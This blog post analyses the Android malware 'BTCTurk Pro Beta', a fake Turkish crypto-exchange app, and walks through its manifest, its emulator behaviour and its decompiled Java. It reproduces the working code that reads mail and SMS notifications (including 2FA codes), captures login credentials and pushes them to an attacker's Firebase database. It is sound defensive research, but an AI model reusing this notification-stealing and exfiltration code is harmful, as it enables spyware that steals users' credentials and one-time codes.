I came across BTCTurk Pro Beta
malware while reading a blog and my good friend, Libra provided its sample. Unlike my encounter with DroidDream, BTCTurk was a malware from 2019 and more exciting! In this article, I’ve described my analysis of the BTCTurk Pro Beta
malware.
Identifying the APK
An APK
file is basically a compressed file format. The hex values at offset 0
and 1
are always 50
and 4B
respectively. Depending on the archive, the hex values at offset 2
and 3
may have different values – 03
and 04
, 05
and 06
(empty archive) or 07
and 08
(spanned archive) respectively. In this case, the malware sample had the file signature 50 4B 03 04
.

Application Metadata
Every legit Android application has an AndroidManifest.xml
file which provides essential information to Android build tools, Android OS and Google Play Store. If it isn’t present in the .apk
file, the Android OS may not be able to locate all Activities and Services of the application or the Play Store may allow users to download the application to an incompatible device. I imported the malicious .apk
file into Android Studio
to view the contents of AndroidManifest.xml
.
<?xml version="1.0" encoding="utf-8"?>
<manifest
xmlns:android="http://schemas.android.com/apk/res/android"
android:versionCode="1"
android:versionName="BTCTurk Pro Beta V0.1"
android:compileSdkVersion="28"
android:compileSdkVersionCodename="9"
package="btcturk.pro.beta"
platformBuildVersionCode="28"
platformBuildVersionName="9">
<uses-sdk
android:minSdkVersion="19"
android:targetSdkVersion="28" />
<uses-permission
android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission
android:name="android.permission.INTERNET" />
<uses-permission
android:name="android.permission.READ_PHONE_STATE" />
<uses-permission
android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission
android:name="android.permission.WAKE_LOCK" />
<uses-permission
android:name="com.google.android.finsky.permission.BIND_GET_INSTALL_REFERRER_SERVICE" />
<uses-permission
android:name="com.google.android.c2dm.permission.RECEIVE" />
<permission
android:name="btcturk.pro.beta.permission.C2D_MESSAGE"
android:protectionLevel="0x2" />
<uses-permission
android:name="btcturk.pro.beta.permission.C2D_MESSAGE" />
<application
android:theme="@ref/0x7f0e0005"
android:label="@ref/0x7f0d0028"
android:icon="@ref/0x7f0c0000"
android:allowBackup="true"
android:appComponentFactory="android.support.v4.app.CoreComponentFactory">
<activity
android:name="android.tbtdemo.code_acilis">
<intent-filter>
<action
android:name="android.intent.action.MAIN" />
<category
android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<service
android:label="@ref/0x7f0d0028"
android:name="android.tbtdemo.code_servise"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
android:exported="true"
android:priority="1000">
<intent-filter>
<action
android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<activity
android:name="android.tbtdemo.code_girs">
<intent-filter>
<action
android:name="android.intent.action.MAIN" />
<category
android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<activity
android:name="android.tbtdemo.code_inform">
<intent-filter>
<action
android:name="android.intent.action.MAIN" />
<category
android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<activity
android:name="android.tbtdemo.cod_sozlesme">
<intent-filter>
<action
android:name="android.intent.action.MAIN" />
<category
android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<activity
android:name="android.tbtdemo.code_maiin">
<intent-filter>
<action
android:name="android.intent.action.MAIN" />
<category
android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
<meta-data
android:name="preloaded_fonts"
android:resource="@ref/0x7f020003" />
<activity
android:theme="@ref/0x0103000f"
android:name="com.google.android.gms.ads.AdActivity"
android:configChanges="0xfb0" />
<activity
android:theme="@ref/0x7f0e010e"
android:name="com.google.android.gms.ads.purchase.InAppPurchaseActivity" />
<service
android:name="com.google.firebase.components.ComponentDiscoveryService">
<meta-data
android:name="com.google.firebase.components:com.google.firebase.analytics.connector.internal.AnalyticsConnectorRegistrar"
android:value="com.google.firebase.components.ComponentRegistrar" />
<meta-data
android:name="com.google.firebase.components:com.google.firebase.iid.Registrar"
android:value="com.google.firebase.components.ComponentRegistrar" />
</service>
<receiver
android:name="com.google.android.gms.measurement.AppMeasurementReceiver"
android:enabled="true"
android:exported="false" />
<receiver
android:name="com.google.android.gms.measurement.AppMeasurementInstallReferrerReceiver"
android:permission="android.permission.INSTALL_PACKAGES"
android:enabled="true"
android:exported="true">
<intent-filter>
<action
android:name="com.android.vending.INSTALL_REFERRER" />
</intent-filter>
</receiver>
<service
android:name="com.google.android.gms.measurement.AppMeasurementService"
android:enabled="true"
android:exported="false" />
<service
android:name="com.google.android.gms.measurement.AppMeasurementJobService"
android:permission="android.permission.BIND_JOB_SERVICE"
android:enabled="true"
android:exported="false" />
<receiver
android:name="com.google.firebase.iid.FirebaseInstanceIdReceiver"
android:permission="com.google.android.c2dm.permission.SEND"
android:exported="true">
<intent-filter>
<action
android:name="com.google.android.c2dm.intent.RECEIVE" />
<category
android:name="btcturk.pro.beta" />
</intent-filter>
</receiver>
<service
android:name="com.google.firebase.iid.FirebaseInstanceIdService"
android:exported="true">
<intent-filter
android:priority="-500">
<action
android:name="com.google.firebase.INSTANCE_ID_EVENT" />
</intent-filter>
</service>
<activity
android:theme="@ref/0x01030010"
android:name="com.google.android.gms.common.api.GoogleApiActivity"
android:exported="false" />
<provider
android:name="com.google.firebase.provider.FirebaseInitProvider"
android:exported="false"
android:authorities="btcturk.pro.beta.firebaseinitprovider"
android:initOrder="100" />
<meta-data
android:name="com.google.android.gms.version"
android:value="@ref/0x7f0a0004" />
<meta-data
android:name="android.support.VERSION"
android:value="26.1.0" />
<meta-data
android:name="com.android.vending.derived.apk.id"
android:value="1" />
</application>
</manifest>
High-Level Manifest Analysis
The application, BTCTurk Pro Beta V0.1
is targeted towards Android Pie
(SDK 28
), requires atleast KitKat
(SDK 19
) and leverages Google Firebase. Google Firebase provides many services such as analytics, cloud messaging, realtime database, etc. It asks for permissions to:
- access network information through
ACCESS_NETWORK_STATE
- open sockets through
INTERNET
- read phone state (cellular network, phone number, etc.) through
READ_PHONE_STATE
- start on boot by receiving an intent when the device boots up through
RECEIVE_BOOT_COMPLETED
- prevent the processor from sleeping through
WAKE_LOCK
- allow other applications to tell if their installation was launched from an ad in
BTCTurk
throughBIND_GET_INSTALL_REFERRER_SERVICE
- receive data from the Cloud only to
BTCTurk
throughRECEIVE
andC2D_MESSAGE
The NotificationListenerService
class can be extended because the app asks for BIND_NOTIFICATION_LISTENER_SERVICE
permission. It receives signals from Android when new notifications are posted or removed through the NotificationListenerService
. All these information suggest that BTCTurk
can communicate on the network, interact with notifications on the status bar, auto-start on boot and include in-app ads.
Dynamic Analysis
Pre-Analysis
I imported the .apk
file into Android Studio
as a project.

To run the application, I needed an Android emulator and SDK image that the application is compatible with.
Setting up the SDK Image
BTCTurk
targets SDK 28
, so I installed Android 9.0 (Pie)
SDK through the SDK Manager.


Setting up the Emulator
I set up a new hardware profile through the AVD Manager on Android Studio.

I downloaded the Android 9.0 (Pie)
system image that would be installed on the emulator.


The emulator is ready to be started!

Installing the APK
Once the emulator was up and running, I dragged and dropped the .apk file from Android Studio into the emulator screen. The installation took about a minute to complete.


Analysis
On opening the application, the following components are displayed (Turkish language):
- Price of BTC (in US Dollars)
Üye Girişi
(Member Login) buttonGizlilik Politikası
(Privacy Policy) button


On clicking the Member Login
button, the application redirects the user to Notification Access
settings screen where the user is expected to allow BTCTurk
access to Notifications
.


After Notifications
access is given, when the Member Login
button is clicked again BTCTurk
also asks for READ_PHONE_STATE
permission. This allows BTCTurk
to read phone status and identity like IMEI
, etc.

After the above access is provided, on clicking the Member Login
button a login screen is displayed which asks for member email address and password.

Once the credentials are provided and user clicks on the login button, an error message is displayed:
Due to the change made in SMS Verification system, we cannot provide a temporary service from our mobile application. After the maintenance work, you will be notified via the application. Thank you for your understanding.

Network Activity
When the application is launched, it connects to api[.]coindesk[.]com
via TLS
in an encrypted session, presumably to fetch the Bitcoin price.

When credentials are submitted to the application from the Member Login
screen, it connects to a Firebase Realtime Database, projbeyssc[.]firebaseio[.]com
and communicates via TLS
in an encrypted session. The transmitted information is likely user credentials since the application has to authenticate the user.

Preparing for Code Analysis
Extracting Java Source Code
As I mentioned before, .apk
file is a compressed file format. The classes.dex
file, inside the .apk
, contains bytecode that is executed by Android’s Dalvik Virtual Machine (DVM)
. Java’s .class
files are compiled to .dex
using the dex
compiler and this can be reversed, i.e., Java .class
files can be obtained from .dex
files by using tools such as d2j-dex2jar
and a .jar
decompiler such as JD-GUI
.



Activity Lifecycle
In an Android application, every screen is an Activity. It is the job of an Activity to display a functional UI. Multiple Activities are arranged in the form of a stack, with the latest Activity being on the top of the stack. This implies that two Activities cannot run at the same time. As long as an Activity is in memory, it’ll follow the Activity Lifecycle and each method in the Lifecycle is called on encountering an event.

- When an activity is first opened,
onCreate()
andonStart()
functions are called. - When an activity is backgrounded,
onPause()
andonStop()
functions are called. - When an activity is foregrounded,
onRestart()
,onStart()
andonResume()
functions are called. - When an activity is closed or killed,
onPause()
,onStop()
andonDestroy()
functions are called.
Code Analysis
code_servise.class
code_servise.class
inherits NotificationListenerService
. The code in this class is relevant when a notification is posted to the status bar. onNotificationPosted()
function is the main point of interest.
package android.tbtdemo;
import android.annotation.SuppressLint;
import android.app.Notification;
import android.content.Context;
import android.content.Intent;
import android.media.AudioManager;
import android.os.Bundle;
import android.os.IBinder;
import android.os.StrictMode;
import android.os.StrictMode.ThreadPolicy.Builder;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.telephony.TelephonyManager;
import android.text.TextUtils;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Calendar;
public class code_servise
extends NotificationListenerService
{
Context context;
public IBinder onBind(Intent paramIntent)
{
return super.onBind(paramIntent);
}
public void onCreate()
{
super.onCreate();
this.context = getApplicationContext();
}
@SuppressLint({"HardwareIds", "MissingPermission"})
public void onNotificationPosted(StatusBarNotification paramStatusBarNotification)
{
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
String str1 = paramStatusBarNotification.getPackageName();
Object localObject1 = paramStatusBarNotification.getNotification().tickerText;
String str2 = "";
if (localObject1 != null) {
localObject1 = paramStatusBarNotification.getNotification().tickerText.toString();
} else {
localObject1 = "";
}
Object localObject2 = paramStatusBarNotification.getNotification().extras;
String str3 = ((Bundle)localObject2).getString("android.title");
((Bundle)localObject2).getInt("android.icon");
paramStatusBarNotification = paramStatusBarNotification.getNotification().largeIcon;
Object localObject3 = ((Bundle)localObject2).getCharSequenceArray("android.textLines");
Object localObject4;
if ((localObject3 != null) && (localObject3.length > 0))
{
paramStatusBarNotification = new StringBuilder();
i = localObject3.length;
for (j = 0; j < i; j++)
{
localObject4 = localObject3[j];
if (!TextUtils.isEmpty((CharSequence)localObject4))
{
paramStatusBarNotification.append(((CharSequence)localObject4).toString());
paramStatusBarNotification.append('\n');
}
}
paramStatusBarNotification = paramStatusBarNotification.toString().trim();
}
else
{
paramStatusBarNotification = "";
}
localObject2 = ((Bundle)localObject2).getCharSequence("android.bigText");
if (!TextUtils.isEmpty((CharSequence)localObject2)) {
str2 = ((CharSequence)localObject2).toString();
}
int i = str1.indexOf("gm");
int k = str1.indexOf("yandex");
int j = str1.indexOf("mail");
int m = str1.indexOf("k9");
int n = str1.indexOf("outlook");
if ((i != -1) || (k != -1) || (j != -1) || (m != -1) || (n != -1))
{
((AudioManager)getSystemService("audio")).setRingerMode(0);
localObject4 = (TelephonyManager)getSystemService("phone");
localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
localObject4 = ((TelephonyManager)localObject4).getDeviceId();
localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("Mail");
localObject4 = new code_insert_model();
((code_insert_model)localObject4).setTinker1((String)localObject2);
((code_insert_model)localObject4).setTinker2(str1);
((code_insert_model)localObject4).setTinker3(str3);
((code_insert_model)localObject4).setTinker4((String)localObject1);
((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
((code_insert_model)localObject4).setTinker6(str2);
((code_insert_model)localObject4).setTinker7(" ");
((DatabaseReference)localObject3).push().setValue(localObject4);
cancelAllNotifications();
}
j = str1.indexOf("sms");
i = str1.indexOf("messaging");
if ((j != -1) || (i != -1))
{
((AudioManager)getSystemService("audio")).setRingerMode(0);
localObject4 = (TelephonyManager)getSystemService("phone");
localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
localObject4 = ((TelephonyManager)localObject4).getDeviceId();
localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("SMS");
localObject4 = new code_insert_model();
((code_insert_model)localObject4).setTinker1((String)localObject2);
((code_insert_model)localObject4).setTinker2(str1);
((code_insert_model)localObject4).setTinker3(str3);
((code_insert_model)localObject4).setTinker4((String)localObject1);
((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
((code_insert_model)localObject4).setTinker6(str2);
((code_insert_model)localObject4).setTinker7(" ");
((DatabaseReference)localObject3).push().setValue(localObject4);
cancelAllNotifications();
}
}
public void onNotificationRemoved(StatusBarNotification paramStatusBarNotification) {}
}
StrictMode
is a developer tool that detects inefficiencies and brings them to the attention of the developer. The following statement disables StrictMode
checks for the thread.
StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().permitAll().build());
It determines which application package the notification belongs to and then reads the value of the notification’s tickerText
attribute. Android summarizes the notification for accessibility services and this summary is returned by tickerText
attribute.
String str1 = paramStatusBarNotification.getPackageName();
Object localObject1 = paramStatusBarNotification.getNotification().tickerText;
String str2 = "";
if (localObject1 != null) {
localObject1 = paramStatusBarNotification.getNotification().tickerText.toString();
} else {
localObject1 = "";
}
The Notification
object contains additional information about the notification event. BTCTurk
determines the title, icon and additional text lines from the notification (when expanded).
Object localObject2 = paramStatusBarNotification.getNotification().extras;
String str3 = ((Bundle)localObject2).getString("android.title");
((Bundle)localObject2).getInt("android.icon");
paramStatusBarNotification = paramStatusBarNotification.getNotification().largeIcon;
Object localObject3 = ((Bundle)localObject2).getCharSequenceArray("android.textLines");
It consolidates the array of text lines from the notification into a single string.
Object localObject4;
if ((localObject3 != null) && (localObject3.length > 0))
{
paramStatusBarNotification = new StringBuilder();
i = localObject3.length;
for (j = 0; j < i; j++)
{
localObject4 = localObject3[j];
if (!TextUtils.isEmpty((CharSequence)localObject4))
{
paramStatusBarNotification.append(((CharSequence)localObject4).toString());
paramStatusBarNotification.append('\n');
}
}
paramStatusBarNotification = paramStatusBarNotification.toString().trim();
}
else
{
paramStatusBarNotification = "";
}
It determines the text that is available from the notification when it is expanded. I’m not sure of the difference between using android.bigText
and android.textLines
.
localObject2 = ((Bundle)localObject2).getCharSequence("android.bigText");
if (!TextUtils.isEmpty((CharSequence)localObject2)) {
str2 = ((CharSequence)localObject2).toString();
}
It checks if the notification is from the following applications:
Gmail (gm)
Yandex Browser (yandex)
Android Email App (mail)
K-9 Mail (k9)
Outlook (outlook)
int i = str1.indexOf("gm");
int k = str1.indexOf("yandex");
int j = str1.indexOf("mail");
int m = str1.indexOf("k9");
int n = str1.indexOf("outlook");
If the notification was from any of the above applications, the following actions (say, ACTIONS
) are carried out:
- Sets the phone on
SILENT
mode. - Gets the local time in
"yyyy-MM-dd HH:mm:ss"
format. - Gets the device
IMEI
/MEID
. - Gets a
Firebase Database
reference to a"Mail"
location. - Stores the following information:
- Time
- Application name of the notification
- Title of the notification
- Notification text (accessibility)
- Notification text (when expanded using
android.textLines
) - Notification text (when expanded using
android.bigText
)
- The above information is pushed on to the
Firebase Database
reference location. - It then dismisses all notifications from the status bar.
if ((i != -1) || (k != -1) || (j != -1) || (m != -1) || (n != -1))
{
((AudioManager)getSystemService("audio")).setRingerMode(0);
localObject4 = (TelephonyManager)getSystemService("phone");
localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
localObject4 = ((TelephonyManager)localObject4).getDeviceId();
localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("Mail");
localObject4 = new code_insert_model();
((code_insert_model)localObject4).setTinker1((String)localObject2);
((code_insert_model)localObject4).setTinker2(str1);
((code_insert_model)localObject4).setTinker3(str3);
((code_insert_model)localObject4).setTinker4((String)localObject1);
((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
((code_insert_model)localObject4).setTinker6(str2);
((code_insert_model)localObject4).setTinker7(" ");
((DatabaseReference)localObject3).push().setValue(localObject4);
cancelAllNotifications();
}
It then checks if the notification was from the following applications:
Android SMS (sms)
Messages
App (messaging)
j = str1.indexOf("sms");
i = str1.indexOf("messaging");
If the notification was from any of the above applications, the same set of actions, ACTIONS
as before are carried out except the Firebase Database
reference points to a "SMS"
location.
if ((j != -1) || (i != -1))
{
((AudioManager)getSystemService("audio")).setRingerMode(0);
localObject4 = (TelephonyManager)getSystemService("phone");
localObject2 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
localObject4 = ((TelephonyManager)localObject4).getDeviceId();
localObject3 = FirebaseDatabase.getInstance().getReference().child((String)localObject4).child("SMS");
localObject4 = new code_insert_model();
((code_insert_model)localObject4).setTinker1((String)localObject2);
((code_insert_model)localObject4).setTinker2(str1);
((code_insert_model)localObject4).setTinker3(str3);
((code_insert_model)localObject4).setTinker4((String)localObject1);
((code_insert_model)localObject4).setTinker5(paramStatusBarNotification);
((code_insert_model)localObject4).setTinker6(str2);
((code_insert_model)localObject4).setTinker7(" ");
((DatabaseReference)localObject3).push().setValue(localObject4);
cancelAllNotifications();
}
code_acilis.class
Consider the below code in code_acilis.class
, the MAIN/LAUNCHER
Activity. This code is executed when the application is first launched.
...
private static int gosterim_suresi = 2000;
...
new Handler().postDelayed(new Runnable()
{
public void run()
{
Intent localIntent = new Intent(code_acilis.this, code_maiin.class);
code_acilis.this.startActivity(localIntent);
code_acilis.this.finish();
}
}, gosterim_suresi);
- The code starts a new
Handler
which processesRunnable
objects in the thread’sMessageQueue
.MessageQueue
is a queue that has tasks called messages which should be processed.
- The
postDelayed()
function causes the definedRunnable
object to be added to the thread’sMessageQueue
to be run everygosterim_suresi
(=2000) amount of milliseconds.- When the defined
Runnable
object is processed, it creates a new thread in which therun()
function executes.
- When the defined
- The
run()
function creates anIntent
to start an Activity ofcode_maiin.class
. - After
code_maiin.class
Activity is started,code_acilis.class
Activity is closed.
code_maiin.class
This class handles the display of BTC prices and two buttons. Consider the below code snippet. The code_girs.class
Activity is started if the user decides to click on the Member Login
button and cod_sozlesme.class
Activity is started if the user decides to click on the Privacy Policy
button. My point of interest is the code_girs.class
.
protected void onCreate(Bundle paramBundle)
{
super.onCreate(paramBundle);
setContentView(2131427358);
this.txt = ((TextView)findViewById(2131296424));
this.progressDialog = new ProgressDialog(this);
this.progressDialog.setTitle("BPI Loading");
this.progressDialog.setMessage("Wait ...");
load();
this.calculate2 = ((Button)findViewById(2131296300));
this.calculate2.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
paramAnonymousView = new Intent(code_maiin.this, code_girs.class);
code_maiin.this.startActivity(paramAnonymousView);
}
});
this.calculate3 = ((Button)findViewById(2131296301));
this.calculate3.setOnClickListener(new View.OnClickListener()
{
public void onClick(View paramAnonymousView)
{
paramAnonymousView = new Intent(code_maiin.this, cod_sozlesme.class);
code_maiin.this.startActivity(paramAnonymousView);
}
});
}
...
...
code_girs.class
On creation, this Activity checks if the READ_PHONE_STATE
permission was granted. If not, it asks for it.
...
...
private void requestPermissions(String paramString, int paramInt)
{
if (ContextCompat.checkSelfPermission(this, paramString) != 0) {
if (ActivityCompat.shouldShowRequestPermissionRationale(this, paramString)) {
ActivityCompat.requestPermissions(this, new String[] { paramString }, paramInt);
} else {
ActivityCompat.requestPermissions(this, new String[] { paramString }, paramInt);
}
}
}
protected void onCreate(Bundle paramBundle)
{
...
...
requestPermissions("android.permission.READ_PHONE_STATE", 0);
...
...
It then checks if notification listening was enabled for BTCTurk
. If not, it starts Activity code_maiin.class
and displays Notification Settings
.
private boolean isNotificationServiceEnabled()
{
String str = getPackageName();
Object localObject = Settings.Secure.getString(getContentResolver(), "enabled_notification_listeners");
if (!TextUtils.isEmpty((CharSequence)localObject))
{
String[] arrayOfString = ((String)localObject).split(":");
for (int i = 0; i < arrayOfString.length; i++)
{
localObject = ComponentName.unflattenFromString(arrayOfString[i]);
if ((localObject != null) && (TextUtils.equals(str, ((ComponentName)localObject).getPackageName()))) {
return true;
}
}
}
return false;
}
protected void onCreate(Bundle paramBundle)
{
...
...
if (!isNotificationServiceEnabled())
{
startActivity(new Intent(this, code_maiin.class));
startActivity(new Intent("android.settings.ACTION_NOTIFICATION_LISTENER_SETTINGS"));
}
...
...
It then retrieves the username and password from the login screen and stores them using the same set of actions, ACTIONS
as before except the Firebase Database
reference points to a "Log_in"
location.
this.icerik = ((EditText)findViewById(2131296370));
this.icerik2 = ((EditText)findViewById(2131296372));
this.icerik3 = ((TextView)findViewById(2131296345));
this.calculate = ((Button)findViewById(2131296299));
this.calculate.setOnClickListener(new View.OnClickListener()
{
@SuppressLint({"MissingPermission"})
public void onClick(View paramAnonymousView)
{
if ((!code_girs.this.icerik.getText().toString().equals("")) && (!code_girs.this.icerik2.getText().toString().equals("")))
{
Object localObject = (TelephonyManager)code_girs.this.getSystemService("phone");
paramAnonymousView = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(Calendar.getInstance().getTime());
localObject = ((TelephonyManager)localObject).getDeviceId();
localObject = FirebaseDatabase.getInstance().getReference().child((String)localObject).child("Log_in");
code_insert_model localcode_insert_model = new code_insert_model();
localcode_insert_model.setTinker1(paramAnonymousView);
localcode_insert_model.setTinker2(code_girs.this.icerik.getText().toString());
localcode_insert_model.setTinker3(code_girs.this.icerik2.getText().toString());
localcode_insert_model.setTinker4(" ");
localcode_insert_model.setTinker5(" ");
localcode_insert_model.setTinker6(" ");
localcode_insert_model.setTinker7(" ");
((DatabaseReference)localObject).push().setValue(localcode_insert_model);
...
...
}
}
});
TL;DR
BTCTurk Pro Beta
is an Android application targeted towards Android Pie
users, but affects devices running Android KitKat
or higher. It has the capability to read text from notifications on the status bar, steal user credentials and transmit them to a remote Firebase Realtime Database
.
Summary
In this article, I described my analysis for an Android application, BTCTurk Pro Beta
. With its ability to read texts from notifications, it is capable of reading 2FA codes which are generally sent in short messages. Thank you for reading! If you have any questions, leave them in the comments section below and I’ll get back to you as soon as I can!
Feature image credits: https://hackersonlineclub.com/malware-analysis/